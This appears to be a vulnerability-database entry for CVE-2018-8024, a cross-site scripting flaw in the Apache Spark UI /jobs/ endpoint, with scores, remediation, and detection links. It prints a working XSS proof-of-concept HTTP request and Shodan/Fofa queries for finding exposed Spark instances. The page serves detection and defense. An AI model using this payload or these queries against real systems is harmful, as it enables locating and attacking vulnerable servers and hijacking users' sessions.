🔙 목록으로 돌아가기

CVE-2018-8024: Apache Spark UI - Cross-Site Scripting

TitleApache Spark UI - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactAttackers can execute arbitrary JavaScript in victims' browsers via crafted query string parameters, potentially stealing session cookies or performing actions on behalf of users.
RemediationUpgrade to Apache Spark version 2.3.2 or later.
CVSS Score6.1
EPSS Score0.5025
CVE IDCVE-2018-8024
CWE IDCWE-79
Shodan Querytitle:"spark master at"
Fofa Querytitle="spark master at"
Tags cve cve2018 spark xss ui vuln

🔍 Vulnerability Description

Apache Spark UI before 2.3.2 is vulnerable to XSS via unsanitized query string parameters in the /jobs/ endpoint.

🌐 HTTP Request

GET /jobs/?"'><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-8024.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-8024.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A